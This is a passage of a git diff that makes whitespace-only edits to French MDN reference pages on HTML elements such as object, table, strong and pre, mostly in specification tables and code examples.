faire partie d'un élément `<nav>`. Ce dernier est fait pour créer des blocs conséquents contenants des liens de navigations au sein du document. L'élément {{HTMLElement("footer")}} possède souvent différents liens, il n'a pour autant pas besoin d'être dans un élément {{HTMLElement("nav")}}. -- Un document peut avoir plusieurs éléments {{HTMLElement("nav")}}, par exemple un pour la navigation sur le site et un autre pour la navigation au sein de la page. L'attribut [`aria-labelledby`](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby) pourra être utilisé afin d'améliorer l'accessibilité. +- Un document peut avoir plusieurs éléments {{HTMLElement("nav")}}, par exemple un pour la navigation sur le site et un autre pour la navigation au sein de la page. L'attribut [`aria-labelledby`](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-labelledby) pourra être utilisé afin d'améliorer l'accessibilité. - Les agents utilisateurs, tels que les lecteurs d'écrans assistant les utilisateurs handicapés, peuvent utiliser cet élément pour déterminer s'il faut omettre ou non le rendu initial du contenu relatif uniquement à la navigation. ## Exemples diff --git a/files/fr/web/html/element/noframes/index.md b/files/fr/web/html/element/noframes/index.md index 7ec076390b..1acb550d1d 100644 --- a/files/fr/web/html/element/noframes/index.md +++ b/files/fr/web/html/element/noframes/index.md @@ -48,8 +48,8 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | -| {{SpecName('HTML5 W3C', '#noframes', 'noframes')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'frames.html#edef-NOFRAMES', '<noframes>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML5 W3C', '#noframes', 'noframes')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'frames.html#edef-NOFRAMES', '<noframes>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/object/index.md b/files/fr/web/html/element/object/index.md index 5176c44c3d..6f6e10cef8 100644 --- a/files/fr/web/html/element/object/index.md +++ b/files/fr/web/html/element/object/index.md @@ -21,13 +21,13 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive - {{htmlattrdef("data")}} - : L'adresse de la ressource, une URL valide. Au moins un attribut **`data`** et un attribut **`type`** doivent être définis. - {{htmlattrdef("form")}} {{HTMLVersionInline(5)}} - - : L'élément de formulaire éventuel auquel l'élément est associé. La valeur de cet attribut doit être l'identifiant d'un élément {{HTMLElement("form")}} du même document. + - : L'élément de formulaire éventuel auquel l'élément est associé. La valeur de cet attribut doit être l'identifiant d'un élément {{HTMLElement("form")}} du même document. - {{htmlattrdef("height")}} - : La hauteur de la ressource à afficher, exprimée en pixels [CSS](/fr/docs/Web/CSS) (uniquement en valeur absolue). - {{htmlattrdef("name")}} - : Le nom du contexte de navigation valide (HTML5) ou du contrôle associé à l'élément (HTML 4). - {{htmlattrdef("type")}} - - : Le type MIME de la ressource définie par **`data`**. Au moins un attribut **`data`** et un attribut **`type`** doivent être définis. + - : Le type MIME de la ressource définie par **`data`**. Au moins un attribut **`data`** et un attribut **`type`** doivent être définis. - {{htmlattrdef("typemustmatch")}} {{HTMLVersionInline(5)}} - : Cet attribut booléen indique si l'attribut `type` doit correspondre [au type MIME](/fr/docs/Glossaire/Type_MIME) de la ressource afin que celle-ci puisse être utilisée. - {{htmlattrdef("usemap")}} @@ -51,7 +51,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive <!----> - {{htmlattrdef("declare")}} {{HTMLVersionInline(4)}} seulement ; {{Obsolete_Inline("HTML5")}} - - : Si cet attribut booléen est présent, l'élément sera seulement une déclaration. L'objet devra donc être instancié par un élément `<object>` dans la suite du document. En HTML5, il faut répéter l'élément \<object> complètement chaque fois que la ressource est ré-utilisée. + - : Si cet attribut booléen est présent, l'élément sera seulement une déclaration. L'objet devra donc être instancié par un élément `<object>` dans la suite du document. En HTML5, il faut répéter l'élément \<object> complètement chaque fois que la ressource est ré-utilisée. <!----> @@ -66,14 +66,14 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive ```html <object data="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf" type="application/pdf" - width="500" height="500" typemustmatch> - <p>Vous n'avez pas de plugin PDF mais vous pouvez <a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">télécharger le fichier.</a></p> + width="500" height="500" typemustmatch> + <p>Vous n'avez pas de plugin PDF mais vous pouvez <a href="https://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">télécharger le fichier.</a></p> </object> <!-- Un exemple avec Flash --> <!-- <object data="animation.swf" type="application/x-shockwave-flash"> - <param name="param11" value="valeurConf"> + <param name="param11" value="valeurConf"> </object> --> ``` @@ -124,7 +124,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive <th scope="row"><dfn>Contenu autorisé</dfn></th> <td> Zéro ou plusieurs éléments {{HTMLElement("param")}} suivis par - du + du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Mod.C3.A8le_de_contenu_transparent" >contenu transparent.</a @@ -157,9 +157,9 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'embedded-content.html#the-object-element', '<object>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'embedded-content-0.html#the-object-element', '<object>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/objects.html#h-13.3', '<object>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'embedded-content.html#the-object-element', '<object>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'embedded-content-0.html#the-object-element', '<object>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/objects.html#h-13.3', '<object>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs @@ -168,5 +168,5 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive ## Voir aussi - {{HTMLElement("param")}} -- {{HTMLElement("applet")}} {{Obsolete_Inline}} +- {{HTMLElement("applet")}} {{Obsolete_Inline}} - {{HTMLElement("embed")}} diff --git a/files/fr/web/html/element/optgroup/index.md b/files/fr/web/html/element/optgroup/index.md index 0556863ec4..aa4086a53f 100644 --- a/files/fr/web/html/element/optgroup/index.md +++ b/files/fr/web/html/element/optgroup/index.md @@ -94,9 +94,9 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '<optgroup>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'forms.html#the-optgroup-element', '<optgroup>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '<optgroup>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'forms.html#the-optgroup-element', '<optgroup>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'forms.html#the-optgroup-element', '<optgroup>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '<optgroup>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/output/index.md b/files/fr/web/html/element/output/index.md index dfd6176e9a..6b9329073b 100644 --- a/files/fr/web/html/element/output/index.md +++ b/files/fr/web/html/element/output/index.md @@ -105,8 +105,8 @@ Le formulaire qui suit fournit un curseur dont la valeur peut aller de 0 à 100 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'the-button-element.html#the-output-element', '<output>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'forms.html#the-output-element', '<output>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'the-button-element.html#the-output-element', '<output>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'forms.html#the-output-element', '<output>')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/p/index.md b/files/fr/web/html/element/p/index.md index 686f8c678a..b1a54e765a 100644 --- a/files/fr/web/html/element/p/index.md +++ b/files/fr/web/html/element/p/index.md @@ -92,7 +92,7 @@ p { <td> La balise de début est obligatoire. La balise de fin peut être absente si l'élément {{HTMLElement("p")}} est immédiatement suivi d'un - élément {{HTMLElement("address")}}, + élément {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, diff --git a/files/fr/web/html/element/param/index.md b/files/fr/web/html/element/param/index.md index b0299e19ad..2ea4a47c1c 100644 --- a/files/fr/web/html/element/param/index.md +++ b/files/fr/web/html/element/param/index.md @@ -88,9 +88,9 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'the-iframe-element.html#the-param-element', '<param>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'embedded-content-0.html#the-param-element', '<param>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/objects.html#h-13.3.2', '<param>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'the-iframe-element.html#the-param-element', '<param>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'embedded-content-0.html#the-param-element', '<param>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/objects.html#h-13.3.2', '<param>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/picture/index.md b/files/fr/web/html/element/picture/index.md index 99675b83d5..0a23921ab5 100644 --- a/files/fr/web/html/element/picture/index.md +++ b/files/fr/web/html/element/picture/index.md @@ -51,7 +51,7 @@ L'attribut `media` de l'élément {{HTMLElement("source")}} permet de rédiger u L'attribut `type` d'un élément {{HTMLElement("source")}} permet d'indiquer le type MIME du fichier fourni via l'attribut `srcset`. Si l'agent utilisateur ne prend pas en charge ce type de fichier, l'élément {{HTMLElement("source")}} est ignoré. ```html -<picture> +<picture> <source srcset="mdn-logo.svg" type="image/svg+xml"> <img src="mdn-logo.png" alt="MDN"> </picture> diff --git a/files/fr/web/html/element/pre/index.md b/files/fr/web/html/element/pre/index.md index 882a1245eb..797be4d7c3 100644 --- a/files/fr/web/html/element/pre/index.md +++ b/files/fr/web/html/element/pre/index.md @@ -34,7 +34,7 @@ Cet élément inclut uniquement [les attributs universels](/fr/docs/Web/HTML/Att ```html <pre> body { - color:red; + color:red; } </pre> ``` @@ -129,7 +129,7 @@ Pour légender un tel diagramme, on pourra utiliser une combinaison d'éléments | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', 'semantics.html#the-pre-element', '<pre>')}} | {{Spec2('HTML WHATWG')}} | Aucune modification majure depuis {{SpecName("HTML5 W3C")}} | | {{SpecName('HTML5 W3C', 'grouping-content.html#the-pre-element', '<pre>')}} | {{Spec2('HTML5 W3C')}} | Aucune modification majeure depuis {{SpecName("HTML4.01")}}. | -| {{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '<pre>')}} | {{Spec2('HTML4.01')}} | Dépréciation de l'attribut `cols`. | +| {{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '<pre>')}} | {{Spec2('HTML4.01')}} | Dépréciation de l'attribut `cols`. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/progress/index.md b/files/fr/web/html/element/progress/index.md index d5335cb80b..54668f27ba 100644 --- a/files/fr/web/html/element/progress/index.md +++ b/files/fr/web/html/element/progress/index.md @@ -21,7 +21,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive - {{htmlattrdef("max")}} - : Cet attribut indique la valeur correspondant à la complétion de la tâche. Si l'attribut `max` est présent, sa valeur doit être un nombre décimal supérieur à 0. La valeur par défaut est 1. - {{htmlattrdef("value")}} - - : Cet attribut indique l'état actuel de complétion de la tâche avec une valeur numérique. La valeur de l'attribut doit être un nombre décimal compris entre 0 et `max` (ou entre 0 et 1 si l'attribut `max` est absent). Si l'attribut `value` est absent, la barre de progression traduit un état indéterminé (la tâche est en cours et on ne sait pas la durée qu'elle prendra). + - : Cet attribut indique l'état actuel de complétion de la tâche avec une valeur numérique. La valeur de l'attribut doit être un nombre décimal compris entre 0 et `max` (ou entre 0 et 1 si l'attribut `max` est absent). Si l'attribut `value` est absent, la barre de progression traduit un état indéterminé (la tâche est en cours et on ne sait pas la durée qu'elle prendra). > **Note :** La valeur minimale est toujours 0 et il n'existe pas d'attribut `min` pour l'élément `progress`. La propriété CSS {{cssxref("-moz-orient")}} peut être utilisée afin d'indiquer si barre de progression doit être affichée horizontalement (le comportement par défaut) ou verticalement. > La pseudo-classe CSS {{cssxref(":indeterminate")}} permet quant à elle de cibler les barres de progression indéterminées. Pour qu'une barre d'avancement retrouve un état indéterminé après qu'elle ait eu une valeur, on pourra utiliser `element.removeAttribute("value")`. @@ -101,7 +101,7 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '<progress>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '<progress>')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('HTML5 W3C', 'forms.html#the-progress-element', '<progress>')}} | {{Spec2('HTML5 W3C')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/q/index.md b/files/fr/web/html/element/q/index.md index 93b71f9b99..d134876a3c 100644 --- a/files/fr/web/html/element/q/index.md +++ b/files/fr/web/html/element/q/index.md @@ -102,8 +102,8 @@ Comme tous les autres éléments HTML, cet élément inclut [les attributs unive | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName('HTML WHATWG', 'semantics.html#the-q-element', '<q>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-q-element', '<q>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-q-element', '<q>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-q-element', '<q>')}} | {{Spec2('HTML5 W3C')}} | | | {{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '<q>')}} | {{Spec2('HTML4.01')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/rb/index.md b/files/fr/web/html/element/rb/index.md index 983f583aa2..8d07bf9aed 100644 --- a/files/fr/web/html/element/rb/index.md +++ b/files/fr/web/html/element/rb/index.md @@ -126,7 +126,7 @@ body { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------ | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rb-element', '<rb>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rb-element', '<rb>')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/rp/index.md b/files/fr/web/html/element/rp/index.md index f409064ab9..062d1cc092 100644 --- a/files/fr/web/html/element/rp/index.md +++ b/files/fr/web/html/element/rp/index.md @@ -117,8 +117,8 @@ body { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rp-element', '<rp>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rp-element', '<rp>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'text-level-semantics.html#the-rp-element', '<rp>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rp-element', '<rp>')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/rtc/index.md b/files/fr/web/html/element/rtc/index.md index 1dcf28e6d3..59159a4ef1 100644 --- a/files/fr/web/html/element/rtc/index.md +++ b/files/fr/web/html/element/rtc/index.md @@ -96,9 +96,9 @@ Cet élément peut utiliser [les attributs universels](/fr/docs/Web/HTML/Attribu | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | -| {{SpecName('HTML5.3', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.3')}} | | -| {{SpecName('HTML5.2', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.2')}} | | -| {{SpecName('HTML5.1', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5.3', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.3')}} | | +| {{SpecName('HTML5.2', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.2')}} | | +| {{SpecName('HTML5.1', 'textlevel-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5.1')}} | | | {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-rtc-element', '<rtc>')}} | {{Spec2('HTML5 W3C')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/ruby/index.md b/files/fr/web/html/element/ruby/index.md index a602a5e216..9e1a917fcd 100644 --- a/files/fr/web/html/element/ruby/index.md +++ b/files/fr/web/html/element/ruby/index.md @@ -91,7 +91,7 @@ Cet élément inclut uniquement les [attributs globaux](/fr/docs/Web/HTML/Global <tr> <th scope="row">Parents autorisés</th> <td> - Tout élément qui accepte du <a + Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9" >contenu de phrasé</a >. diff --git a/files/fr/web/html/element/samp/index.md b/files/fr/web/html/element/samp/index.md index 613be3c1b4..5c0b5eb9c6 100644 --- a/files/fr/web/html/element/samp/index.md +++ b/files/fr/web/html/element/samp/index.md @@ -153,9 +153,9 @@ Cela permet simplement de colorer légèrement l'invite et le curseur. On utilis | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-samp-element', '<samp>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-samp-element', '<samp>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '<samp>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-samp-element', '<samp>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-samp-element', '<samp>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '<samp>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/strong/index.md b/files/fr/web/html/element/strong/index.md index 78ffce0b02..203ee65db7 100644 --- a/files/fr/web/html/element/strong/index.md +++ b/files/fr/web/html/element/strong/index.md @@ -36,7 +36,7 @@ Il est important de savoir que `<b></b>` ne doit pas être utilisé, à part dan ### `<em>` ou `<strong>` ? -En HTML 4, `<strong>` indiquait simplement une emphase plus forte. En HTML5, l'élément représente une « importance forte » de son contenu. Il est important de faire la différence. L'emphase (`<em>` étant l'élément HTML équivalent) permet de changer le sens d'une phrase : par exemple : « J'_adore_ les licornes » et « J'adore les _licornes_ ». `<strong>` est utilisé pour augmenter l'importance de certaines portions de phrases : « **Attention !** C'est **très dangereux** ». `<strong>` et `<em>` peuvent être imbriqués pour augmenter relativement l'importance ou l'emphase d'un texte. +En HTML 4, `<strong>` indiquait simplement une emphase plus forte. En HTML5, l'élément représente une « importance forte » de son contenu. Il est important de faire la différence. L'emphase (`<em>` étant l'élément HTML équivalent) permet de changer le sens d'une phrase : par exemple : « J'_adore_ les licornes » et « J'adore les _licornes_ ». `<strong>` est utilisé pour augmenter l'importance de certaines portions de phrases : « **Attention !** C'est **très dangereux** ». `<strong>` et `<em>` peuvent être imbriqués pour augmenter relativement l'importance ou l'emphase d'un texte. ## Exemples @@ -128,9 +128,9 @@ En HTML 4, `<strong>` indiquait simplement une emphase plus forte. En HTML5, l' | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-strong-element', '<strong>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-strong-element', '<strong>')}} | {{Spec2('HTML5 W3C')}} | | -| {{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '<strong>')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-strong-element', '<strong>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-strong-element', '<strong>')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '<strong>')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/style/index.md b/files/fr/web/html/element/style/index.md index 5c56e54df2..5017a7b4da 100644 --- a/files/fr/web/html/element/style/index.md +++ b/files/fr/web/html/element/style/index.md @@ -187,7 +187,7 @@ Dans cet exemple (basé sur le précédent), on ajoute un attribut `media` sur l | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------------------------ | | {{SpecName('HTML WHATWG', 'semantics.html#the-style-element', 'style')}} | {{Spec2('HTML WHATWG')}} | Ajout de l'attribut `nonce`. | | {{SpecName('HTML5 W3C', 'document-metadata.html#the-style-element', 'style')}} | {{Spec2('HTML5 W3C')}} | L'attribut `type` devient optionnel. | -| {{SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style')}} | {{Spec2('HTML4.01')}} | | +| {{SpecName('HTML4.01', 'present/styles.html#h-14.2.3', 'style')}} | {{Spec2('HTML4.01')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/sub/index.md b/files/fr/web/html/element/sub/index.md index 013da8b555..abed446237 100644 --- a/files/fr/web/html/element/sub/index.md +++ b/files/fr/web/html/element/sub/index.md @@ -140,8 +140,8 @@ Voici certains cas d'utilisation (non exhaustifs) pour `<sub>` : | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '<sub> and <sup>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '<sub> and <sup>;')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '<sub> and <sup>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '<sub> and <sup>;')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/sup/index.md b/files/fr/web/html/element/sup/index.md index e5479ece4f..92bb36d2e6 100644 --- a/files/fr/web/html/element/sup/index.md +++ b/files/fr/web/html/element/sup/index.md @@ -158,8 +158,8 @@ Bien que, techniquement, le lettrage supérieur ne corresponde pas à la mise en | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '<sub> and <sup>')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '<sub> and <sup>;')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', 'semantics.html#the-sub-and-sup-elements', '<sub> and <sup>')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C', 'text-level-semantics.html#the-sub-and-sup-elements', '<sub> and <sup>;')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/table/index.md b/files/fr/web/html/element/table/index.md index 1ebc3e3868..b7ba1cf0d7 100644 --- a/files/fr/web/html/element/table/index.md +++ b/files/fr/web/html/element/table/index.md @@ -73,7 +73,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - : Cet attribut à valeurs multiples définit la manière dont les traits doivent apparaître au sein du tableau. Il peut avoir les valeurs suivantes : - `none`, les traits ne doivent pas être affichés, c'est la valeur par défaut - - `groups`, les traits sont uniquement affichés entre les groupes de lignes du tableau (définis par les éléments {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} et {{HTMLElement("tfoot")}}) et entre les groupes de colonnes (définis par les éléments {{HTMLElement("col")}} et {{HTMLElement("colgroup")}}) + - `groups`, les traits sont uniquement affichés entre les groupes de lignes du tableau (définis par les éléments {{HTMLElement("thead")}}, {{HTMLElement("tbody")}} et {{HTMLElement("tfoot")}}) et entre les groupes de colonnes (définis par les éléments {{HTMLElement("col")}} et {{HTMLElement("colgroup")}}) - `rows`, les traits seront affichées entre les lignes du tableau - `columns`, les lignes seront affichées entre les colonnes du tableau - `all`, tous les traits seront affichés (entre les lignes et entre les colonnes). @@ -288,7 +288,7 @@ Si le tableau ne peut pas être subdivisé, on pourra utiliser les attributs {{h - [Utiliser les tableaux HTML pour les personnes souffrant de troubles de la vision](/fr/Apprendre/HTML/Tableaux/Advanced#Tableaux_pour_des_utisateurs_malvoyants) - [Les tableaux avec des en-têtes sur plusieurs niveaux • Tutoriels d'accesibilité web W3C WAI (en anglais)](https://www.w3.org/WAI/tutorials/tables/multi-level/) -- [H43 : Utiliser les attributs `id` et `headers` afin d'associer les cellules de données et les cellules d'en-tête dans les tableaux | Techniques W3C pour WCAG 2.0 (en anglais)](https://www.w3.org/TR/WCAG20-TECHS/H43.html) +- [H43 : Utiliser les attributs `id` et `headers` afin d'associer les cellules de données et les cellules d'en-tête dans les tableaux | Techniques W3C pour WCAG 2.0 (en anglais)](https://www.w3.org/TR/WCAG20-TECHS/H43.html) ## Résumé technique @@ -322,7 +322,7 @@ Si le tableau ne peut pas être subdivisé, on pourra utiliser les attributs {{h L'un ou l'autre de ces deux cas de figure : <ul> <li> - zéro ou plusieurs éléments {{HTMLElement("tbody")}} + zéro ou plusieurs éléments {{HTMLElement("tbody")}} </li> <li>un ou plusieurs éléments {{HTMLElement("tr")}}</li> </ul> @@ -354,8 +354,8 @@ Si le tableau ne peut pas être subdivisé, on pourra utiliser les attributs {{h | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/html/element/td/index.md b/files/fr/web/html/element/td/index.md index 51ee3ad3b7..e1503d3a49 100644 --- a/files/fr/web/html/element/td/index.md +++ b/files/fr/web/html/element/td/index.md @@ -21,7 +21,7 @@ Cet élément inclut [les attributs universels](/fr/docs/Web/HTML/Attributs_univ - {{htmlattrdef("colspan")}} - - : Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1, si la valeur est 0, la cellule s'étend jusqu'à la fin du {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront interprétées comme valant la valeur par défaut (1). + - : Cet attribut contient un entier positif indiquant le nombre de colonnes sur lesquelles s'étend la cellule. La valeur par défaut est 1, si la valeur est 0, la cellule s'étend jusqu'à la fin du {{HTMLElement("colgroup")}} auquel appartient la cellule, même si celui-ci est défini implicitement. Des valeurs supérieures à 1000 peuvent être considérées comme incorrectes et seront interprétées comme valant la valeur par défaut (1). > **Note :** En {{HTMLVersionInline(5)}} cet attribut ne peut valoir qu'un nombre strictement positif car [il ne doit pas être utilisé pour faire chevaucher des cellules](https://dev.w3.org/html5/spec/single-page.html#attr-tdth-colspan). Par ailleurs, 